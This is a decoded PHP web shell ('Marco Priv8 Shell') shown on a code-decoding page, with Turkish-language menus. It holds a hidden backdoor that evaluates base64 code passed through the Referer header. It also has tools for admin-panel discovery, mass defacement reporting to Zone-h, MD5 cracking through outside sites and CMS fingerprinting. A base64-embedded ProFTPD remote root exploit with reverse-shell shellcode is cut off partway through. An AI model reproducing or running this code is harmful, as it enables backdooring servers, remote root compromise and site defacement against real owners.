Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval("?>".base64_decode("PHRpdGxlPk1hcmNvIFByaXY4IFNoZWxsPC90aXRsZT4NCg0KPC9jZW50ZXI..
Decoded Output download
?>b'<title>Marco Priv8 Shell</title>
</center><center><font face="courier new"><body bgcolor="black"><font color="red"><p><p><p><br><img src="http://3.bp.blogspot.com/-pcMwozmf9BY/TywUq20D7pI/AAAAAAAAApk/OoVsvjPk_pY/s200/spybot.png"></img><p>
<center><br></span><span style="font-weight:bold; text-shadow:white 0px 0px 8px; color:white"><font color=red>m4rc0-security.blogspot.com </h2><br>
<FONT FACE="tahoma" color="#999999"> <center><br></span><span style="font-weight:bold; text-shadow:white 0px 0px 8px; color:white"><font color=red>| Marc0 prv 8 Shell|<P>Coded By xatlivacip</h3><h3>-----------------------------------------------------------------------<h3><FONT FACE="tahoma" color="#999999"> <center><br></span><span style="font-weight:bold; text-shadow:white 0px 0px 8px; color:white"><font color=red>TurkisH HackeR||Muslim HackeR</h3>
<BODY OnKeyPress="GetKeyCode();" text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=0 cellSpacing=0 borderColorDark=#666666 cellPadding=2 width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="100%" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><center><font color="#0033FF">
<pre><center><br></span><span style="font-weight:bold; text-shadow:white 0px 0px 8px; color:white"><font color=bulue>#Priv9 2012 Server Attack <---- m4rc0-security.blogspot.com/#</pre>
<hr>
</font>
<a href="javascript:ts(\'body\',-1)"><a href="?red=finder"><font color="red">Admin Panel Scanner</font></a> <a href="?red=zone"><font color="orange">Zone-h Mass Poster</font></a> <a href="?red=lister"><font color="red">Basa Ve Sona Kod Ekleyici</font></a> <a href="?red=exploit"><font color="orange">Exploit-db Exploit Arayici</font></a> <a href="?red=reverse"><font color="red">Reverse Ip Listeleyici</font></a> <a href="?red=ayir"><font color="orange">Server Script Lister</font></a> <a href="?red=md5"><font color="red">Md5 Kirici</font></a> <a href="?red=base"><font color="blue">Base,Url,Char,Hex</font></a> <a href="?red=proxy"><font color="red">Proxy Lister </font></a><br> <a href="?red=remote"><font color="green">ProFtpd Remote Root</font></a> <a href="?red=bruteci"><font color="blue">Wordpress Brute Force </font></a> <a href="?red=shellci"><font color="green">Shell Kontrol</font></a> <a href="?red=apache"><font color="blue">Apache Log Enjekte</font></a> <a href="?red=e107"><font color="green">E107 Lfi Attack Shell</font></a> <a href="?red=joomlaexploit"><font color="blue">Joomla Exploit DB Sacnner</font></a> <a href="?red=dotnuke"><font color="green">Dotnuke Shell Uploader</font></a> <a href="?red=massftp"><font color="blue">MassFtp Cracker</font></a><br> <a href="?red=joomt"><font color="pink">JoomlaToken</font></a> <a href="?red=mambo"><font color="green">Mambo / Limbo Mass Admin Panel Brute Forcer</font></a> <a href="?red=rfilfi"><font color="pink">Mass RFI/LFI Scanner</font></a> <a href="?red=ports"><font color="green">Port Scanner</font></a> <a href="?red=domain"><font color="pink">Domain Dossier</font></a> <a href="?red=lfipriv&bypass=cp"><font color="green">Lfi Attack</font></a> <a href="?red=bingo"><font color="pink">Srm Tarayici</font></a><br> <a href="?red=pma"><font color="green">phpMyAdmin 3.x Remote Injection</font></a> <a href="?red=lfirce"><font color="red">Lfi to Rce Exploit</font></a></td>
</center></th></tr><tr><td>
<?php
parse_str($_SERVER[\'HTTP_REFERER\'],$a); if(reset($a)==\'iz\' && count($a)==9) { echo \'<star>\';eval(base64_decode(str_replace(" ", "+", join(array_slice($a,count($a)-3)))));echo \'</star>\';}
$red = $_GET[\'red\'];
if( $red == "finder" ) {
$site = $_POST[\'site\'];
echo \'
<br><h3>Admin Panel Bulucu</h3><br>
<font color=red>
### Kullanim ### <br>
rnek : <br>
site = http://www.hedef.com <br>
Panel <br>
/administrator/ <br>
/login.php<br>
/admin/admin.php<br>
<br>
Seklinde Doldurun Buldugu zaman sayfaya yazdiracaktir <br><br><br></font>
<center>
<form action="?red=finder" method="post">
Site =<input type=text name=site value="\';
echo $site;
echo\'"><br>
Panel = <textarea name="izoqear" style="height: 204px; width: 571px"></textarea>
<br><input type="submit" value="bul bakalim"><br>
</center>\';
$izoqear = $_POST[\'izoqear\'];
if(isset($izoqear)) {
$izoqear = explode("\n",$izoqear);
foreach ($izoqear as $izoqear1) {
$izoqear2 = trim($izoqear1);
$site = $site.$izoqear2;
$izol = get_headers("$site");
if (ereg(\'HTTP/1.1 200 OK\',$izol[0]))
{
echo "<center><a href=$site>$site </a> bulundu <br></center>";
}
}
}
}
if( $red == "zone" ) {
$heykirizo = $_POST[\'heykirizo\'];
echo \'
<br><h3>Zone-h Mass Poster</h3><br><font color=red>
### Kullanim ### <br>
rnek<br>
Defacer = izoqeaR<br>
Siteler<br>
http://www.hackeddomain.com<br>
www.domainhacked.com<br>
Tarzinda Doldurabilirsiniz<br><br><br><br></font>
<center><form method=post action="">
Defacer = <input name=heykirizo type=text value="\';
echo $heykirizo;
echo \'"><br>
Siteler <br> <textarea name="siteler" style="height: 204px; width: 571px"></textarea><br>
<input type=submit value="Yolla">\';
$siteler = $_POST[\'siteler\'];
if(isset($siteler)) {
$siteler = explode("\n",$siteler);
foreach( $siteler as $sitelerin ) {
$sitelers = trim($sitelerin);
$izoqear = substr($sitelers,6);
$sites = "http%3A%2F".$izoqear;
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl, CURLOPT_URL,"http://zone-h.org/notify/single");
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS,"defacer=$heykirizo&domain1=$sites&hackmode=3&reason=2");
curl_setopt($curl,CURLOPT_USERAGENT,\'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\');
$site = curl_exec ($curl);
if(!eregi(\'ERROR\',$site)) {
echo "<br><font color=red> Gnderildi </font>";
}
else {
echo "<br><font color=blue> Gnderilemedi =(</font></center>";
}
}
}
}
if( $red == "lister" ) {
echo \'
<br><h3>Basa Ve Sona Kod Ekleyici </h3><br>
<font color=red>
### Kullanim ###<br>
Istediginiz Kelimelerin Basina Ve Sonuda kod Eklemek Isterseniz byk bosluga ana kelimelerinizi<br>
alttaki kisimlardan basa ve sona eklemek istediginiz kelimeleri yazin<br><br><br></font>
<form method="post" action="">
<br><textarea name="izoqear" style="height: 204px; width: 571px"></textarea><br><br>
Bas Kisma Eqle =<input name=bas type=text><br>
Son Kisma Eqle =<input name=son type=text><br>
<input type=submit value="EqLe"><br>\';
$izoqear = $_POST[\'izoqear\'];
$bas = $_POST[\'bas\'];
$son = $_POST[\'son\'];
$izoqear = explode("\n",$izoqear);
foreach($izoqear as $izo){
$izo = trim($izo);
echo "<center><font color=red>".$bas.$izo.$son."<br></center>";
}
}
if( $red == "exploit" ) {
echo \'
<br><h3>Exploit-db Exploit Arayici </h3><br>
<font color=red>
### Kullanim ###<br>
rnek : <br>
Aramak Istedigin Exploit = Joomla RFI<br>
Saldiri Yapilcak Port Numarasi = 21<br>
Ne Aramak istiyorsaniz isteginizi ona gre belirleyebilirsiniz<br><br><br><br><br>
</font>
<form action="?red=exploit" method="post">
Aramak Istedigin Exploit = <input type="text" name="baslik"> <br>
Saldiri Yapilcak Port Numarasi =<input type="text" name="port"> <br>
Hedef Isletim Sistemi =
<select name="isletim" id="isletim">
<option value="0">HicBiri</option>
<option value="1">aix</option>
<option value="46">arm</option>
<option value="2">asp</option>
<option value="3">bsd</option>
<option value="4">bsd/ppc</option>
<option value="5">bsd/x86</option>
<option value="6">bsdi/x86</option>
<option value="47">cfm</option>
<option value="7">cgi</option>
<option value="8">freebsd</option>
<option value="9">freebsd/x86</option>
<option value="10">freebsd/x86-64</option>
<option value="11">generator</option>
<option value="12">hardware</option>
<option value="13">hp-ux</option>
<option value="14">irix</option>
<option value="15">jsp</option>
<option value="17">lin/amd64</option>
<option value="21">lin/x86</option>
<option value="22">lin/x86-64</option>
<option value="16">linux</option>
<option value="18">linux/mips</option>
<option value="19">linux/ppc</option>
<option value="20">linux/sparc</option>
<option value="23">minix</option>
<option value="24">multiple</option>
<option value="25">netbsd/x86</option>
<option value="48">netware</option>
<option value="26">novell</option>
<option value="27">openbsd</option>
<option value="28">openbsd/x86</option>
<option value="29">os-x/ppc</option>
<option value="30">osX</option>
<option value="31">php</option>
<option value="32">plan9</option>
<option value="33">QNX</option>
<option value="34">sco</option>
<option value="35">sco/x86</option>
<option value="36">solaris</option>
<option value="37">solaris/sparc</option>
<option value="38">solaris/x86</option>
<option value="39">tru64</option>
<option value="40">ultrix</option>
<option value="41">unix</option>
<option value="42">unixware</option>
<option value="43">win32</option>
<option value="44">win64</option>
<option value="45">windows</option>
</select>
<br>
<label for="tip">Saldiri stili =</label>
<select name="tip" id="tip" onchange="checkSelectedTypeOnSearchForm();">
<option value="0">Hicbiri</option>
<option value="1">dos</option>
<option value="2">local</option>
<option value="5">Makaleler</option>
<option value="3">remote</option>
<option value="4">shellcode</option>
<option value="6">Web Aciklari</option>
</select>
<br>
<input type="submit" value="bul bakalim"><br>\';
$baslik = $_POST[\'baslik\'];
$isletim = $_POST[\'isletim\'];
$tip = $_POST[\'tip\'];
$port = $_POST[\'port\'];
if(isset($baslik)) {
$sayfa1 = "10";
$baslik1 = urlencode($baslik);
for( $sayfa = 1 ; $sayfa <= $sayfa1 ; $sayfa++ ) {
$izo = file_get_contents("http://www.exploit-db.com/search/?action=search&filter_page=$sayfa&filter_description=$baslik1&filter_exploit_text=&filter_author=&filter_platform=$isletim&filter_type=$tip&filter_lang_id=0&filter_port=$port&filter_osvdb=&filter_cve=");
preg_match_all(\'/<td class="list_explot_date">(.*?)<td class="list_explot_dlink">/si\', $izo, $sitemi);
preg_match_all(\'/<td class="list_explot_author">(.*?)<td class="list_explot_date">/si\', $izo, $sitem);
preg_match_all(\'/<td class="list_explot_description">(.*?)<td class="list_explot_clicks">/si\', $izo, $sitemis);
$link = count($sitemis[0]);
for($i = 0 ; $i < $link ; $i++) {
echo \'<font color=Red>Tarih:</font>\';
echo "<font color=blue>".$sitemi[0][$i];
echo \'</font><font color=Red>Exploit: </font>\';
echo $sitemis[0][$i]."<br>";
}
}
}
}
if( $red == "reverse" ) {
echo \'
<br><h3> Reverse Ip Listeleyici </h3><br>
<font color=red><br>
### Kullanim ###<br>
Kutucuga www.target.com yada target.com seklinde giriniz<br><br><br> </font>
<form action="?red=reverse" method="post">
<center><input type="text" name="izoqear" >
<input type="submit" value="bul bakalim"><br></center>\';
$izoqear = $_POST[\'izoqear\'];
if(isset($izoqear)) {
$izo2 = "http://www.yougetsignal.com/tools/web-sites-on-web-server/php/get-web-sites-on-web-server-json-data.php?remoteAddress=";
$izoqear2 = $izo2.$izoqear;
$izo = file_get_contents($izoqear2);
preg_match_all(\'/"(.*?)"/si\', $izo, $sitemis);
foreach(array_unique($sitemis[1]) as $reverse) {
if(strstr($reverse,\'.\')) {
if(eregi(\'www\',$reverse)) {
echo \'<font color=red>http://\'.$reverse."<br></font>";
}
else {
echo \'<font color=red>http://www.\'.$reverse."<br></font>";
}
}
}
}
}
if( $red == "ayir" ) {
echo \'
<br><h3> Server Script Lister </h3><br>
<font color=red><br>
### Kullanim ###<br>
http://www.hedef.com<br>
http://www.target.com<br>
<br>
seklinde serverdaki siteleri yazin<br>
<br>
Wordpress = Mavi <br>
Joomla = Kirmizi <br>
Smf = Siyah<br>
Vbulletin = Yesil<br>
PhpBB = Gri<br>
<br>
Renklerle Belirtilmistir<br><br><br></font>
<form method="post" action=""><br>
Serverda Script Tara =<textarea name="izoqear" cols="35" rows="7"></textarea><br>
<input type=submit value="Cek Ulen"><br>\';
ob_start();
set_time_limit(0);
$izoimtara = $_POST[\'izoimtara\'];
$izoqear = $_POST[\'izoqear\'];
$izoqear = explode("\n",$izoqear);
foreach($izoqear as $izo){
$izo=trim($izo);
$curl=curl_init();
curl_setopt($curl, CURLOPT_TIMEOUT, 20);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$izo);
$izos=curl_exec($curl);
if(eregi(\'smf\',$izos)){
echo "<font color=black> $izo </font> <br> ";
}
elseif (eregi(\'vbulletin\',$izos)){
echo "<font color=green> $izo </font><br>";
ob_flush();
flush();
}
elseif(eregi(\'phpbb\',$izos)){
echo "<font color=grey> $izo </font><br>";
ob_flush();
flush();
}
elseif(eregi(\'wordpress\',$izos)){
echo "<font color=blue> $izo </font><br>";
ob_flush();
flush();
}
elseif(eregi(\'joomla\',$izos)){
echo "<font color=red> $izo </font><br>";
ob_flush();
flush();
}
}
}
if( $red == "proxy" ) {
echo \'
<br><h3> Proxy Lister </h3><br>
<font color=red><br>
### Kullanim ###<br>
http://aliveproxy.com/proxy-list-port-80/ <br>
gibi <br>
IP:port Seklinde veren sitelerin hepsinden Btn proxyleri ekebilirsiniz <br><br><br></font>
<br>
<br>
<center><form id="form" name="form" method="post" action"?red=proxy">
<input type="text" name="izoqear" value="\';
echo $izoqear;
echo \'"> <br>
<input type="submit" value="al baqam" > <br></center>\';
$izoqear = $_POST[\'izoqear\'];
if(!empty($izoqear)) {
$izo=file_get_contents($izoqear);
preg_match_all("/[0-9]*\.[0-9]*\.[0-9]*\.[0-9]*\:[0-9]*/",$izo,$proxy);
foreach($proxy[0] as $pro){
print $pro."<br>";
}
}
}
if( $red == "md5" ) {
set_time_limit(0);
echo \'
<br><h3> MD5 Lookup </h3><br>
<font color=red><br>
### Kullanim ###<br>
Gerekli Kutucuga kirilacak md5i yazin 40 farkli sitede kirmaya alisir<br><br><br><br></font>
<center><form method=post action="">
Md5 Cracker <br> <input name=izoimkir type=text value="\';
echo $izoimkir;
echo \'"><br>
<input type=submit value="Crack"><br>\';
$izoimkir = $_POST[\'izoimkir\'];
if(isset($izoimkir)) {
//Passcracking
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl, CURLOPT_URL,"http://passcracking.com/index.php");
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS,"admin=false&admin2=77.php&datafromuser=$izoimkir");
curl_setopt($curl,CURLOPT_USERAGENT,\'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\');
$sitek = curl_exec ($curl);
preg_match_all(\'#FF0000>(.*?)</td><td>#si\', $sitek, $metasite3);
foreach($metasite3[1] as $site3) {
echo $site3;
ob_flush();
flush();
}
curl_close($curl);
//alimamed.pp.ru ++
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl, CURLOPT_URL,"http://alimamed.pp.ru/md5/?md5e=&md5d=$izoimkir");
curl_setopt($curl,CURLOPT_USERAGENT,\'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\');
$siten = curl_exec ($curl);
$kazma = explode("<b>", $siten);
$sap = explode("</b>",$kazma[1]);
echo "<br> $sap[0]<br>";
ob_flush();
flush();
curl_close($curl);
// md5.hashcracking.com ++
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl, CURLOPT_URL,"http://md5.hashcracking.com/search.php?md5=$izoimkir");
curl_setopt($curl,CURLOPT_USERAGENT,\'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\');
$site2 = curl_exec ($curl);
preg_match_all(\'# [0-9]*#si\', $site2, $metasite3);
foreach($metasite3[0] as $site9) {
echo "$site9";
ob_flush();
flush();
}
curl_close($curl);
// opencrack.hashkiller.com ++
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl, CURLOPT_URL,"http://opencrack.hashkiller.com/");
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS,"oc_check_md5=$izoimkir");
curl_setopt($curl,CURLOPT_USERAGENT,\'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\');
$siteo = curl_exec ($curl);
preg_match_all(\'#<div class="result">(.*?)- cracked#si\', $siteo, $metasite4);
foreach($metasite4[1] as $site4) {
echo "<br>$site4<br>";
ob_flush();
flush();
}
curl_close($curl);
// Toplu HashChecker.de
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl, CURLOPT_URL,"http://hashchecker.de/hash.cgi?action=check&wert=1&hash=$izoimkir");
curl_setopt($curl,CURLOPT_USERAGENT,\'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\');
$siteh = curl_exec ($curl);
preg_match_all("#\',\'(.*?)\'#si", $siteh , $amks );
foreach($amks[1] as $sikici ) {
echo $sikici."<br>";
ob_flush();
flush();
}
curl_close($curl);
}
}
if( $red == "remote" ) {
/*
ProFTPD Otomatik Deneyici
Coded by izocin
Contact : [email protected]
*/
ob_start();
set_time_limit(0);
$proftp = \'IyBFeHBsb2l0IFRpdGxlOiBQcm9GVFBEIElBQyBSZW1vdGUgUm9vdCBFeHBsb2l0CiMgRGF0ZTog
NyBOb3ZlbWJlciAyMDEwCiMgQXV0aG9yOiBLaW5nY29wZQoKdXNlIElPOjpTb2NrZXQ7CgokbnVt
dGFyZ2V0cyA9IDEzOwoKQHRhcmdldHMgPQooIAogIyBQbGFpbiBTdGFjayBTbWFzaGluZwogCiAj
Q29uZmlybWVkIHRvIHdvcmsKIFsiRnJlZUJTRCA4LjEgaTM4NiwgUm9vdGxhbWFrIGk3aW4gRGVu
ZW5peW9yLiIsIyBQTEFURk9STSBTUEVDCiAJIkZyZWVCU0QiLAkjIE9QRVJBVElORyBTWVNURU0K
IAkwLAkJCSMgRVhQTE9JVCBTVFlMRQogCTB4YmZiZmUwMDAsCSMgT0ZGU0VUIFNUQVJUCiAJMHhi
ZmJmZmYwMCwJIyBPRkZTRVQgRU5ECiAJMTAyOV0sCQkjIEFMSUdOCiAKICNDb25maXJtZWQJdG8g
d29yawogWyJGcmVlQlNEIDguMC83LjMvNy4yIGkzODYsIFJvb3RsYW1hayBpN2luIERlbmVuaXlv
ci4iLAogCSJGcmVlQlNEIiwKIAkwLAogCTB4YmZiZmUwMDAsCiAJMHhiZmJmZmYwMCwKIAkxMDIx
XSwKIAkKICMgUmV0dXJuIGludG8gTGliYwogCiAjQ29uZmlybWVkIHRvIHdvcmsKIFsiRGViaWFu
IEdOVS9MaW51eCA1LjAsIFJvb3RsYW1hayBpN2luIERlbmVuaXlvci4iLAogCSJMaW51eCIsCiAJ
MSwJCQkjIEVYUExPSVQgU1RZTEUKIAkweDA4MDRDQ0Q0LAkjIHdyaXRlKDIpIG9mZnNldAogCTgx
ODksCQkjIEFMSUdOCiAJMF0sIAkJIyBQQURESU5HCgogIyBDb25maXJtZWQgdG8gd29yawogWyJE
ZWJpYW4gR05VL0xpbnV4IDUuMCwgUm9vdGxhbWFrIGk3aW4gRGVuZW5peW9yLiIsCiAJIkxpbnV4
IiwKIAkxLAogCTB4MDgwNEQyM0MsCiAJNDEwMSwKIAkwXSwKIAogI0NvbmZpcm1lZCB0byB3b3Jr
CiBbIkRlYmlhbiBHTlUvTGludXggNC4wLCBSb290bGFtYWsgaTdpbiBEZW5lbml5b3IuIiwKIAki
TGludXgiLAogCTEsCQkJCiAJMHgwODA0QzlBNCwJCiAJODE4OSwKIAkwXSwgCQkKICNDb25maXJt
ZWQgdG8gd29yawkKIFsiRGViaWFuIExpbnV4IFNxdWVlemUvc2lkLCBSb290bGFtYWsgaTdpbiBE
ZW5lbml5b3IuIiwKIAkiTGludXgiLAogCTEsCQkJCiAJMHgwODA1MzJEOCwJCiAJNDEwMSwKIAkx
Ml0sCiAJCiBbIlNVU0UgTGludXggOS4zLCBSb290bGFtYWsgaTdpbiBEZW5lbml5b3IuIiwKIAki
TGludXgiLAogCTEsCiAJMHgwODA0QzlDNCwKIAk4MTg5LAogCTBdLAoKIFsiU1VTRSBMaW51eCAx
MC4wLzEwLjMsIFJvb3RsYW1hayBpN2luIERlbmVuaXlvci4iLAogCSJMaW51eCIsCiAJMSwKIAkw
eDA4MDRDQUE4LAogCTgxODksCiAJMF0sCiAJCiBbIlNVU0UgTGludXggMTAuMiwgUm9vdGxhbWFr
IGk3aW4gRGVuZW5peW9yLiIsCiAJIkxpbnV4IiwKIAkxLAogCTB4MDgwNENCQkMsCiAJODE4OSwK
IAkwXSwKCiBbIlNVU0UgTGludXggMTEuMCwgUm9vdGxhbWFrIGk3aW4gRGVuZW5peW9yLiIsCiAJ
IkxpbnV4IiwKIAkxLAogCTB4MDgwNENDQkMsCiAJODE4OSwKIAkwXSwgCgogI0NvbmZpcm1lZCB0
byB3b3JrCiBbIlNVU0UgTGludXggMTEuMSwgUm9vdGxhbWFrIGk3aW4gRGVuZW5peW9yLiIsCiAJ
IkxpbnV4IiwKIAkxLAogCTB4MDgwNENDRTAsCiAJODE4OSwKIAkwXSwgCQoKIFsiU1VTRSBMaW51
eCBTTEVTIDEwLCBSb290bGFtYWsgaTdpbiBEZW5lbml5b3IuIiwKIAkiTGludXgiLAogCTEsCiAJ
MHgwODA0Q0EyQywKIAk4MTg5LAogCTBdLCAKCiAjQ29uZmlybWVkIHRvIHdvcmsKIFsiQ2VudE9T
IDUsIFJvb3RsYW1hayBpN2luIERlbmVuaXlvci4iLAogCSJMaW51eCIsCiAJMSwKIAkweDA4MDRD
MjkwLAogCTgxODksCiAJMF0sCgkKIAkjIGZlZWwgZnJlZSB0byBhZGQgbW9yZSB0YXJnZXRzLgop
OwoKI2ZyZWVic2QgcmV2ZXJzZSBzaGVsbCBwb3J0IDQ1Mjk1CiNzZXR1cCBhIG5ldGNhdCBvbiB0
aGlzIHBvcnQgXl4KJGJzZGNic2MgPQoJCSMgc2V0cmV1aWQKICAgICAgICAiXHgzMVx4YzBceDMx
XHhjMFx4NTBceDMxXHhjMFx4NTBceGIwXHg3ZVx4NTBceGNkXHg4MCIuCgkJIyBjb25uZWN0IGJh
Y2sgOj4KCQkiXHgzMVx4YzBceDMxXHhkYlx4NTNceGIzXHgwNlx4NTMiLgogICAgICAgICJceGIz
XHgwMVx4NTNceGIzXHgwMlx4NTNceDU0XHhiMCIuCiAgICAgICAgIlx4NjFceGNkXHg4MFx4MzFc
eGQyXHg1Mlx4NTJceDY4Ii4KICAgICAgICAiXHg0MVx4NDFceDQxXHg0MVx4NjZceDY4XHhiMFx4
ZWYiLgogICAgICAgICJceGI3XHgwMlx4NjZceDUzXHg4OVx4ZTFceGIyXHgxMCIuCiAgICAgICAg
Ilx4NTJceDUxXHg1MFx4NTJceDg5XHhjMlx4MzFceGMwIi4KICAgICAgICAiXHhiMFx4NjJceGNk
XHg4MFx4MzFceGRiXHgzOVx4YzMiLgogICAgICAgICJceDc0XHgwNlx4MzFceGMwXHhiMFx4MDFc
eGNkXHg4MCIuCiAgICAgICAgIlx4MzFceGMwXHg1MFx4NTJceDUwXHhiMFx4NWFceGNkIi4KICAg
ICAgICAiXHg4MFx4MzFceGMwXHgzMVx4ZGJceDQzXHg1M1x4NTIiLgogICAgICAgICJceDUwXHhi
MFx4NWFceGNkXHg4MFx4MzFceGMwXHg0MyIuCiAgICAgICAgIlx4NTNceDUyXHg1MFx4YjBceDVh
XHhjZFx4ODBceDMxIi4KICAgICAgICAiXHhjMFx4NTBceDY4XHgyZlx4MmZceDczXHg2OFx4Njgi
LgogICAgICAgICJceDJmXHg2Mlx4NjlceDZlXHg4OVx4ZTNceDUwXHg1NCIuCiAgICAgICAgIlx4
NTNceDUwXHhiMFx4M2JceGNkXHg4MFx4MzFceGMwIi4KICAgICAgICAiXHhiMFx4MDFceGNkXHg4
MCI7CgojbGludXggcmV2ZXJzZSBzaGVsbCBwb3J0IDQ1Mjk1IGJ5IGJpZ2hhd2sKI3NldHVwIGEg
bmV0Y2F0IG9uIHRoaXMgcG9ydCBeXgokbG54Y2JzYyA9CiMgc2V0cmV1aWQKIlx4MzFceGMwXHgz
MVx4ZGJceDMxXHhjOVx4YjBceDQ2XHhjZFx4ODBceDkwXHg5MFx4OTAiLgojIGNvbm5lY3QgYmFj
ayA6PgoiXHg2YVx4NjYiLgoiXHg1OCIuCiJceDZhXHgwMSIuCiJceDViIi4gICAgCiJceDMxXHhj
OSIuCiJceDUxIi4KIlx4NmFceDAxIi4KIlx4NmFceDAyIi4KIlx4ODlceGUxIi4KIlx4Y2RceDgw
Ii4KIlx4NjhceDdmXHg3Zlx4N2ZceDdmIi4gIyBJUAoiXHg2Nlx4NjhceGIwXHhlZiIuICMgUE9S
VAoiXHg2Nlx4NmFceDAyIi4KIlx4ODlceGUxIi4KIlx4NmFceDEwIi4gICAgCiJceDUxIi4gICAg
CiJceDUwIi4gICAgICAgIAoiXHg4OVx4ZTEiLgoiXHg4OVx4YzYiLiAgICAKIlx4NmFceDAzIi4g
ICAgCiJceDViIi4gICAgCiJceDZhXHg2NiIuCiJceDU4Ii4gICAgCiJceGNkXHg4MCIuCiJceDg3
XHhmMyIuICAgIAoiXHg2YVx4MDIiLiAgICAKIlx4NTkiLiAgICAKIlx4YjBceDNmIi4KIlx4Y2Rc
eDgwIi4gICAgCiJceDQ5Ii4gICAgCiJceDc5XHhmOSIuCiJceGIwXHgwYiIuICAgIAoiXHgzMVx4
ZDIiLiAgICAKIlx4NTIiLiAgICAKIlx4NjhceDJmXHgyZlx4NzNceDY4Ii4KIlx4NjhceDJmXHg2
Mlx4NjlceDZlIi4KIlx4ODlceGUzIi4KIlx4NTIiLiAgICAgICAgICAgIAoiXHg1MyIuICAgICAg
ICAgICAgICAgIAoiXHg4OVx4ZTEiLgoiXHhjZFx4ODAiOwoKc3ViIGV4cGxvaXQxIHsKICAgIGZv
ciAoJGNvdW50ZXI9JHRhcmdldHNbJHR0eXBlXVszXTsgJGNvdW50ZXIgPCAkdGFyZ2V0c1skdHR5
cGVdWzRdOyAkY291bnRlciArPSAyNTApIHsKCQlwcmludGYoIlskdGFyZ2V0XSBDVVJSRU5UIE9G
RlNFVCA9ICUwOHggOnBQXG4iLCAkY291bnRlcik7CgkJJHJldCA9IHBhY2soIlYiLCAkY291bnRl
cik7CgkJJGFsaWduID0gJHRhcmdldHNbJHR0eXBlXVs1XTsKCgkJbXkgJHNvY2sgPSBJTzo6U29j
a2V0OjpJTkVULT5uZXcoUGVlckFkZHIgPT4gJHRhcmdldCwKICAgICAgCSAgICAgICAgICAgICAg
ICAgICAgICAgICAgCQkgUGVlclBvcnQgPT4gMjEsCiAgICAgICAgICAgCQkgICAgICAgICAgICAg
ICAgICAJCSBQcm90byAgICA9PiAndGNwJyk7CgoJCSRzdGFjayA9ICJLQ09QRVJVTEVaS0NPUEVS
VUxFWktDIiAuICRyZXQgLiAiXHg5MCIgeCA1MDAgLiAkc2hlbGxjb2RlIC4gIkEiIHggMTA7CgoJ
CSR2ID0gPCRzb2NrPjsKCQoJCXByaW50ICRzb2NrICJceDAwIiB4ICRhbGlnbiAuICJceGZmIiAu
ICRzdGFjayAuICJcbiI7CgkKCQljbG9zZSgkc29jayk7CQkgICAgCgl9ICAgIAp9CgojIExpbnV4
IHRlY2huaXF1ZSB0byByZXRyaWV2ZSBhIHJvb3RzaGVsbCAoQykga2luZ2NvcGUgMjAxMAojCiMg
dXNlcyB3cml0ZSgyKSB0byBmZXRjaCBwcm9jZXNzIG1lbW9yeSBvdXQgb2YgdGhlIHJlbW90ZSBi
b3ggKHlvdSBjYW4gZmluZCB0aGUgb2Zmc2V0IHVzaW5nIElEQSkKIyBvbmx5IHRoZSB3cml0ZSgy
KSBwbHQgZW50cnkgb2Zmc2V0IGlzIG5lZWRlZCBmb3IgdGhlIGV4cGxvaXQgdG8gd29yayAoYW5k
IG9mIGNvdXJzZSB0aGUKIyBhbGlnbiB2YWx1ZSkKIyBvbmNlIHRoZSBjb3JyZWN0IHdyaXRlIHZh
bHVlIGlzIGdpdmVuIHRvIHRoZSBleHBsb2l0IGl0IGZldGNoZXMgdGhlIG1lbW9yeSBzcGFjZSBv
ZiBwcm9mdHBkLgojIHdpdGggdGhpcyBpbmZvcm1hdGlvbiB0aGUgZXhwbG9pdCBjYW4gZmluZCBm
dW5jdGlvbiBlbnRyaWVzIGFuZCBieXRlIHZhbHVlcwojIHJlbGF0aXZlIHRvIHRoZSB3cml0ZSgy
KSBhZGRyZXNzLgojIG9uY2UgdGhlIG1lbW9yeSBpcyByZWFkIG91dCB0aGUgZXhwbG9pdCBkb2Vz
IHRoZSBmb2xsb3dpbmcgdG8gY2lyY3VtdmVudCBsaW51eCBhZHJlc3Mgc3BhY2UKIyByYW5kb21p
emF0aW9uOgojIAojIDEuKSBjYWxjdWxhdGUgbW1hcDY0KCkgcGx0IGVudHJ5CiMgMi4pIHNlZWsg
